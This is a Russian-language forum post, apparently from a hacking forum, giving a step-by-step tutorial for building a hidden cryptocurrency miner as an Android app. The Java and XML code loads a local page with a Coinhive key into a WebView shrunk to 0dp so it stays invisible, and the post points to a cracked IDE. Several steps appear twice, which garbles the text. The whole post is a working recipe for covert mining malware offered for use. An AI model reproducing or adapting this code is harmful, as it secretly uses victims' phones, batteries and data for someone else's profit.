Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
В андроиде есть такой компонент, как WebView, он позволяет смотреть интернет-сайты (и локальные) мы и воспользуемся.
Установили? Дальше.
[SRC]<WebView
android:id="@+id/webView"
xmlns:android="
android:layout_width="match_parent"
android:layout_height="match_parent"/>[/SRC]
Добавили? Нажимаем на картину в верху. Откроется редактор ui. Нажимаем на надпись WebView. Атрибуты Layout height и Layout Width стоят в режиме Match parent. (На всё место.) Какой же тогда скрытый Майнер? Сначала разбирается с одним, потом с другим. Везде ставим fixed size 0dp. Это важно. Всё, нашего WebView совсем не видно.
Убрали? Добавляем тогда код:
[SRC]import android.app.*;
import android.os.*;
import android.webkit.*;
public class MainActivity extends Activity {
private WebView mWebView;
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
mWebView = (WebView) findViewById(R.id.webView);
// включаем поддержку JavaScript
mWebView.getSettings().setJavaScriptEnabled(true);
// указываем страницу загрузки
mWebView.setWebViewClient(new MyWebViewClient());
// ссылка
mWebView.loadUrl("file:///android_asset/index.html");
}
private class MyWebViewClient extends WebViewClient
{
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url)
{
view.loadUrl(url);
return true;
}
}
@Override
public void onBackPressed() {
if(mWebView.canGoBack()) {
mWebView.goBack();
} else {
super.onBackPressed();
}
}
}
[/SRC]
Добавили? Отлично.
Если у вас что-то кроме того, где написано index.HTML подчеркнётся красным, то удерживайте, вылезает в верху меню, нажмите на него и нажмите на верхнюю надпись.
Далее создаём по пути /имя вашего проекта/app/src/main папку assets. Разархивируем наш архив туда, и так, чтобы по пути от папки assets, до файла index.HTML не было других файлов, то есть должно быть так: /имявашегопроекта/app/src/main/assets/index.html .
P.S. не забудьте указать разрешение на интернет в AndroidManifest.xml Как это сделать - думаю все умеют гуглить.
Софт:
MyWebsite.zip -
Взломанная AIDE -
- Шаг. Установка ide. Писать наш Майнер мы будем на нашем телефоне. В этом нам поможет AIDE. Единственная среда программирования под андроид и... Собственно на андроид.
Установили? Дальше.
- 2. Шаг. Создание проекта. Как только зашли в IDE вылезает диалоговое окно.Мы нажимаем "для экспертов".Далее выбираем New Android app. Name - имя приложения. Package name - имя пакета (идентификатор).
- 3. Шаг. Пишем ui. Его как такого не будет, вы можете придумать что-то своё.
[SRC]<WebView
android:id="@+id/webView"
xmlns:android="
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
"android:layout_width="match_parent"
android:layout_height="match_parent"/>[/SRC]
Добавили? Нажимаем на картину в верху. Откроется редактор ui. Нажимаем на надпись WebView. Атрибуты Layout height и Layout Width стоят в режиме Match parent. (На всё место.) Какой же тогда скрытый Майнер? Сначала разбирается с одним, потом с другим. Везде ставим fixed size 0dp. Это важно. Всё, нашего WebView совсем не видно.
- 4. Шаг. Кодим активность.
Убрали? Добавляем тогда код:
[SRC]import android.app.*;
import android.os.*;
import android.webkit.*;
public class MainActivity extends Activity {
private WebView mWebView;
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
mWebView = (WebView) findViewById(R.id.webView);
// включаем поддержку JavaScript
mWebView.getSettings().setJavaScriptEnabled(true);
// указываем страницу загрузки
mWebView.setWebViewClient(new MyWebViewClient());
// ссылка
mWebView.loadUrl("file:///android_asset/index.html");
}
private class MyWebViewClient extends WebViewClient
{
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url)
{
view.loadUrl(url);
return true;
}
}
@Override
public void onBackPressed() {
if(mWebView.canGoBack()) {
mWebView.goBack();
} else {
super.onBackPressed();
}
}
}
[/SRC]
Добавили? Отлично.
Если у вас что-то кроме того, где написано index.HTML подчеркнётся красным, то удерживайте, вылезает в верху меню, нажмите на него и нажмите на верхнюю надпись.
- 5. Шаг. Настраиваемый пул. Роль пула у нас будет играть coinhive.com (Не реклама.) регестрируемся там, заходим в настройки , и создаём новый sitekey. Название любое. Копируем публичный sitekey и вставляем туда, откуда его можно будет потом скопировать.
Далее создаём по пути /имя вашего проекта/app/src/main папку assets. Разархивируем наш архив туда, и так, чтобы по пути от папки assets, до файла index.HTML не было других файлов, то есть должно быть так: /имявашегопроекта/app/src/main/assets/index.html .
- 6. Шаг. Настраиваемый программу под пул. Заходим в наш разархированный index.html, там LbaqSUyMtBAT0WliBJh97Z8UZ4VYdIXP меняем на ваш сохраненный публичный ключ сайта.
P.S. не забудьте указать разрешение на интернет в AndroidManifest.xml Как это сделать - думаю все умеют гуглить.
Софт:
MyWebsite.zip -
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Взломанная AIDE -
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Последнее редактирование модератором: